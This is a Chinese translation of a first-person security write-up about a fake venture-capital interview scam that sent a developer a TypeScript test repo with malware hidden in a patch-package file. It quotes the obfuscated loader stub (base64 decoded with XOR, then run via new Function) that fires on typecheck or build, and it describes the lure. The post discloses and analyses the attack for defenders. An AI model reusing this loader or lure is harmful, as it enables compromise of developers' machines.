返回

文章详情

一次失败的(国家级?)攻击解剖

Hacker News2026年6月27日 02:41

披露 🧠 本文完全由人撰写:所有的文字,除了IoC信息外。由于时间敏感,使用Claude加速RAT分析并构建IoC检测脚本。由于我生活在加拿大,这些信息已报告给适当的加拿大机构(CCCS等)。载荷图像在VirusTotal上不会触发任何AV引擎。攻击者的身份是虚构的,但有一些无关的个体与他们的名字相同,可能会被误认为是他们,并且在本篇中已被省略。在Reddit上,Rust社区中还有一些人提到他们也遭到了攻击。本周,我与一个伪面试骗局有过过于密切的接触,该骗局旨在在我的计算机上留下后门,结合电子邮件的内容,我怀疑我的包在crates.io上。注意:我称之为“PinpinRAT”,因为一些内部字符串,但可能这有其他名称。我在线上未能找到任何其他参考。一周半前,我收到一封来自“D█████ S████”的电子邮件,声称来自Lua Ventures,一个(当时我并不知道的)已倒闭的位于新加坡的DeFi领域风投。明确一点:这是一个虚构的角色,这个名字可能是为了容易混淆与许多真实人名而选择的。看起来这是一封真实的邮件,包括一个指向看似平淡但又合法的LinkedIn资料的链接。攻击者甚至提到了他们的两个投资项目,专门在寻找顾问工作:Lyrasing和Roadpay。搜索这两家公司并没有引起警觉——它们都有一些非常基础的网络存在,但没有什么能表明它们是假冒的,而只是处于早期阶段。(archive.org对roadpay.cc的快照)。我们在会议时间上来回沟通,最终确定了一个聊天时间。电话本身也没有什么奇怪的。另一端是一个口音有些难以理解的德语男人。他说他在旅行时接入电话,这有点奇怪,但再次,并不一定令人怀疑。通话结束后是诱饵。一封后续邮件提供了一个“测试”。此时我感到稍微烦恼,但并没有怀疑。我克隆了代码库,但第一个真正的红旗在这里才出现。我很幸运:他们给我发送的是一个TypeScript代码库。这对我来说不太合理。说明看起来更像是TypeScript面试,而不是任何架构分析。我决定压缩代码库并把它放进Claude里进行快速扫描——这是谨慎与懒惰的结合。几分钟后,它识别出了一些异常:特别是根包的package.json没有postinstall/preinstall钩子——有趣的是,因为他们使用patch-package,它通常被设置为postinstall。我来检查每个package.json的生命周期脚本,然后审计每个补丁文件(真正的风险表面——补丁可以向node_modules注入任意代码)。这引起了我的兴趣。我自己扫描了目录,注意到有相当不合理数量的补丁目录。我检查的前几个看起来还算无辜,但正如你可能猜到的,它们只是在试图制造噪音,以便真正的载荷不会被捕获。packages/electron-benchmarks/patches/sumchecker+3.0.1.patch packages/electron-benchmarks/patches/@electron+get+2.0.3.patch packages/electron-benchmarks/patches/extract-zip+2.0.1.patch 当我慢慢手动检查时,Claude首次识别出PinpinRAT的迹象:我找到了它。这是一个恶意载荷。嵌入在typescript+5.9.2.patch文件中——在被呈现为常规“模块说明符”补丁的TypeScript中——有一个base64-blob自执行混淆存根在_tsck.js和typescript.js的最顶部注入:;;(function(r,k){const d=Buffer.from(r,'base64');for(let i=0;i<d.length;i+=1)d[i]^=k;return new Function('require','Buffer','WebAssembly','process','__dirname',d.toString('utf8'))(require,Buffer,WebAssembly,process,__dirname)})("YWFg...",73)/*12ff4b51*/void"ticket-harbor-tsc-shim-anchor"; 这段代码解码一个base64字符串,用密钥73对每个字节进行异或解密,并将结果传递给new Function(…),并且参数包括require、process、Buffer等。这是一个隐藏的代码执行负载,每次tsc或任何导入typescript.js的代码运行时都会触发——即在第一次npm run typecheck/build/dev时……在那一刻,我决定停止在我自己的机器上继续探查。我把它打包成一个有密码的文件以防我意外引爆它,并继续在沙箱中进行分析。陷阱 该代码库以一个名为“Ticket Harbor”的渡轮购票应用为主题。捆绑包中的task.txt包含一系列看似乏味的合理任务,但最后却是:在提交之前,运行repo的类型检查、测试套件和相关的桌面/服务器构建命令。

赞助内容

NordVPN Next-gen Antivirus

本站免费、广告极少。如果觉得有帮助,可以请我们喝杯咖啡 —— 任何金额都对持续运营有实际帮助。

请我喝杯咖啡